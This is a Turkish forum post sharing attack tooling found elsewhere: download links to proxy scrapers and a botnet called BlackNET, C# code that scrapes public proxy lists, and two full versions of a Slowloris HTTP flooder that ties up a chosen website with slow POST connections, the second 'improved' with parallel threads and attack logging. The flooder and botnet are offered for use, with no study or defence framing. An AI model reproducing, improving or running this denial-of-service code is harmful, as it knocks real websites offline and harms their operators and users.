Merhabalar yaklaşık 2-3 ay önce bir forumda gezerken rast geldiğim kodlar ve kaynak kodlar. Şunu belirteyim hiç test etmedim her ihtimale karşı güvenli bir ortamda ayıklayıp daha sonra test etmenizi öneririm. Umarım işinize yarar...
Proxy Kaynak Kodları
Nitrous-Proxies-main
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Virüs Total : VirusTotal
Proxena-master
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Virüs Total :
Proxy_Scanner_Scraper_AIO-master
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Virüs Total :
Bir Adet HTTP Proxy Kodumuz
C#:
// gatherproxy
public async Task<List<KeyValuePair<string, ushort>>> Scrape(WebProxy proxy = null)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://free-proxy.cz/en/proxylist/country/all/https/uptime/all");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0";
request.CookieContainer = new CookieContainer();
request.CookieContainer.Add(new Cookie("fp", "fp=425d2478193fa6718e2731da33693a32", "/", ".free-proxy.cz"));
if (proxy != null)
request.Proxy = proxy;
List<KeyValuePair<string, ushort>> proxies = new List<KeyValuePair<string, ushort>>();
using (var response = await request.GetResponseAsync())
using (var responseStream = new StreamReader(response.GetResponseStream()))
{
string content = await responseStream.ReadToEndAsync();
Regex endpointRegex = new Regex("decode\\(\\\"(.+?)\\\".+?fport.+?>(\\d+)");
var match = endpointRegex.Match(content);
while (match.Success)
{
proxies.Add(new KeyValuePair<string, ushort>(Encoding.UTF8.GetString(Convert.FromBase64String(match.Groups[1].Value)), ushort.Parse(match.Groups[2].Value)));
match = match.NextMatch();
}
}
return proxies;
}
// proxylist
public async Task<List<KeyValuePair<string, ushort>>> Scrape(WebProxy proxy = null)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.proxy-list.download/api/v0/get?l=en&t=https");
List<KeyValuePair<string, ushort>> crawledProxies = new List<KeyValuePair<string, ushort>>();
if (proxy != null)
request.Proxy = proxy;
using (var response = await request.GetResponseAsync())
using (var responseStream = new StreamReader(response.GetResponseStream()))
{
string content = await responseStream.ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject<dynamic>(content);
dynamic list = data[0]["LISTA"];
foreach (var entry in list)
{
crawledProxies.Add(new KeyValuePair<string, ushort>((string)entry["IP"], (ushort)entry["PORT"]));
}
}
return crawledProxies;
}
// proxyscrape
public async Task<List<KeyValuePair<string, ushort>>> Scrape(WebProxy proxy = null)
{
List<KeyValuePair<string, ushort>> crawledProxies = new List<KeyValuePair<string, ushort>>();
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=5050&country=all&ssl=yes&anonymity=all");
if (proxy != null)
request.Proxy = proxy;
using (var response = await request.GetResponseAsync())
using (var responseStream = new StreamReader(response.GetResponseStream()))
{
string str = null;
while ((str = await responseStream.ReadLineAsync()) != null)
{
string[] parts = str.Split(':');
crawledProxies.Add(new KeyValuePair<string, ushort>(parts[0], ushort.Parse(parts[1])));
}
}
return crawledProxies;
}
// pubproxyscraper
public async Task<List<KeyValuePair<string, ushort>>> Scrape(WebProxy proxy = null)
{
List<KeyValuePair<string, ushort>> crawledProxies = new List<KeyValuePair<string, ushort>>();
for (int i = 0; i < 200; i++)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://pubproxy.com/api/proxy");
if (proxy != null) request.Proxy = proxy;
using (var response = await request.GetResponseAsync())
using (var responseReader = new StreamReader(response.GetResponseStream()))
{
string responseText = await responseReader.ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject<dynamic>(responseText).data[0];
crawledProxies.Add(new KeyValuePair<string, ushort>((string)data.ip, ushort.Parse((string)data.port)));
}
}
return crawledProxies;
}
// spysone
public async Task<List<KeyValuePair<string, ushort>>> Scrape(WebProxy proxy = null)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://spys.one/en/https-ssl-proxy/");
request.Method = "POST";
request.Referer = "http://spys.one/en/https-ssl-proxy/";
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0";
request.Headers.Add("Origin", "http://spys.one");
if (proxy != null)
request.Proxy = proxy;
using (var requestStream = await request.GetRequestStreamAsync())
{
Dictionary<string, string> postParams = new Dictionary<string, string>()
{
//{ "xx0", "f44a874c3b4e78ee34475452e0c4ffb1" },
{ "xpp", "5" },
{ "xf1", "0" },
{ "xf2", "0" },
{ "xf4", "0" },
{ "xf5", "0" }
};
await new FormUrlEncodedContent(postParams).CopyToAsync(requestStream);
}
using (var response = await request.GetResponseAsync())
using (var responseStream = new StreamReader(response.GetResponseStream()))
{
string content = await responseStream.ReadToEndAsync();
Regex varsRegex = new Regex("(eval.+)");
var match = varsRegex.Match(content);
string varsExpr = match.Captures[0].Value;
Regex endpointsRegex = new Regex(@"(\d+\.\d+\.\d+\.\d+).+?\+(\(.+?\))\)");
match = endpointsRegex.Match(content);
List<KeyValuePair<string, ushort>> crawlResult = new List<KeyValuePair<string, ushort>>();
while (match.Success)
{
string portExpr = "\"\"+" + match.Groups[2].Value;
Jint.Engine engine = new Jint.Engine();
engine.Execute(varsExpr);
string port = (string)engine.Execute(portExpr).GetCompletionValue().ToObject();
crawlResult.Add(new KeyValuePair<string, ushort>(match.Groups[1].Value, ushort.Parse(port)));
match = match.NextMatch();
}
return crawlResult;
}
}
// sslproxies
public async Task<List<KeyValuePair<string, ushort>>> Scrape(WebProxy proxy = null)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.sslproxies.org/");
if (proxy != null)
request.Proxy = proxy;
using (var response = await request.GetResponseAsync())
using (var responseStream = new StreamReader(response.GetResponseStream()))
{
string content = await responseStream.ReadToEndAsync();
Regex endpointRegex = new Regex(@"<td>(\d+.\d+.\d+.\d+)<\/td><td>(\d+)");
var match = endpointRegex.Match(content);
List<KeyValuePair<string, ushort>> crawlResult = new List<KeyValuePair<string, ushort>>();
while (match.Success)
{
crawlResult.Add(new KeyValuePair<string, ushort>(match.Groups[1].Value, ushort.Parse(match.Groups[2].Value)));
match = match.NextMatch();
}
return crawlResult;
}
}
BotNet Kaynak Kodları
BlackNET - botnet with a nice and secure PHP panel
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Virüs Total : VirusTotal
Virüs Total : VirusTotal
Bir Adet HTTP Slowloris Saldırısı Örneği
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Threading;
namespace HTTPFlooder
{
internal class Program
{
private static void Main(string[] args)
{
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("\n +-----------------------------------------------------+");
Console.WriteLine(" + +");
Console.WriteLine(" -------+ Simple Slowloris Flooder - Coded by van1lle @ HF +-------");
Console.WriteLine(" + +");
Console.WriteLine(" +-----------------------------------------------------+\n");
Console.Write("Website (www.example.com): ");
string website = Console.ReadLine();
Console.Write("Duration (seconds): ");
string s = Console.ReadLine();
int count = 1;
bool loop = true;
Thread thread = new Thread(delegate
{
List clients = new List();
while (loop)
{
new Thread(delegate
{
TcpClient tcpClient = new TcpClient();
clients.Add(tcpClient);
try
{
tcpClient.Connect(website, 80);
StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream());
streamWriter.Write("POST / HTTP/1.1\r\nHost: " + website + "\r\nContent-length: 5235\r\n\r\n");
streamWriter.Flush();
if (loop)
{
Console.WriteLine("Packets sent: " + count);
}
count++;
}
catch (Exception)
{
if (loop)
{
Console.WriteLine("Could not send packets, server may be inaccessible.");
}
}
}).Start();
Thread.Sleep(50);
}
foreach (TcpClient current in clients)
{
try
{
current.GetStream().Dispose();
}
catch (Exception)
{
}
}
});
thread.Start();
Thread.Sleep(int.Parse(s) * 1000);
loop = false;
Console.WriteLine("\nDone (:");
Console.WriteLine("Press any key to close this program...");
Console.ReadKey();
}
}
}
NOT : Bu kodu geliştirmeyi deneyeceğim sonuca ulaşırsam yazarım. Yazamamışsam & üzerinden uzun bir süre geçmiş ise bilin ki gemi batmış demektir.
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Threading;
using System.Threading.Tasks;
namespace HTTPFlooder
{
internal class Program
{
private static bool loop = true;
private static void Main(string[] args)
{
Console.ForegroundColor = ConsoleColor.DarkCyan;
Console.WriteLine("\n +-----------------------------------------------------+");
Console.WriteLine(" + +");
Console.WriteLine(" -------+ Simple Slowloris Flooder - Coded by van1lle @ HF +-------");
Console.WriteLine(" + +");
Console.WriteLine(" +-----------------------------------------------------+\n");
// Log dosyası oluşturma
using (StreamWriter logFile = new StreamWriter("attack_log.txt", true))
{
logFile.WriteLine("\nAttack started at: " + DateTime.Now);
}
// Kullanıcıdan hedef web sitesi ve süre bilgisi alınıyor
Console.Write("Website (www.example.com): ");
string website = Console.ReadLine();
Console.Write("Duration (seconds): ");
string s = Console.ReadLine();
int count = 1;
// Thread yönetimi ve saldırı başlatma
Task.Run(() =>
{
List<TcpClient> clients = new List<TcpClient>();
// Parallel işlemi, daha iyi thread yönetimi için kullanılıyor
Parallel.For(0, int.MaxValue, (i, state) =>
{
if (!loop)
{
state.Stop();
}
TcpClient tcpClient = new TcpClient();
clients.Add(tcpClient);
try
{
// Zaman aşımı ayarları (bağlantı ve veri gönderimi için)
tcpClient.SendTimeout = 5000; // 5 saniye zaman aşımı
tcpClient.ReceiveTimeout = 5000;
// Sunucuya bağlantı kuruluyor
tcpClient.Connect(website, 80);
StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream());
// Yavaş POST isteği gönderimi
streamWriter.Write("POST / HTTP/1.1\r\nHost: " + website + "\r\nContent-length: 5235\r\n\r\n");
streamWriter.Flush();
// Başarılı paket gönderimi bilgisi
if (loop)
{
Console.WriteLine("Packets sent: " + count);
using (StreamWriter logFile = new StreamWriter("attack_log.txt", true))
{
logFile.WriteLine("Packet sent successfully: " + count);
}
}
count++;
}
catch (Exception ex)
{
// Hata loglama
if (loop)
{
Console.WriteLine("Could not send packets, server may be inaccessible.");
using (StreamWriter logFile = new StreamWriter("attack_log.txt", true))
{
logFile.WriteLine("Error sending packet: " + ex.Message);
}
}
}
Thread.Sleep(50); // Yavaş saldırı için küçük bir bekleme
});
// Bağlantı sonlandırma işlemi
foreach (TcpClient current in clients)
{
try
{
current.GetStream().Dispose();
}
catch (Exception ex)
{
using (StreamWriter logFile = new StreamWriter("attack_log.txt", true))
{
logFile.WriteLine("Error closing connection: " + ex.Message);
}
}
}
});
// Saldırıyı belirtilen süre kadar devam ettir
Thread.Sleep(int.Parse(s) * 1000);
loop = false;
// Saldırı tamamlandıktan sonra log dosyasına yaz
using (StreamWriter logFile = new StreamWriter("attack_log.txt", true))
{
logFile.WriteLine("\nAttack ended at: " + DateTime.Now);
}
// Saldırı tamamlandı mesajı
Console.WriteLine("\nDone (:");
Console.WriteLine("Press any key to close this program...");
Console.ReadKey();
}
}
}
Son düzenleme:

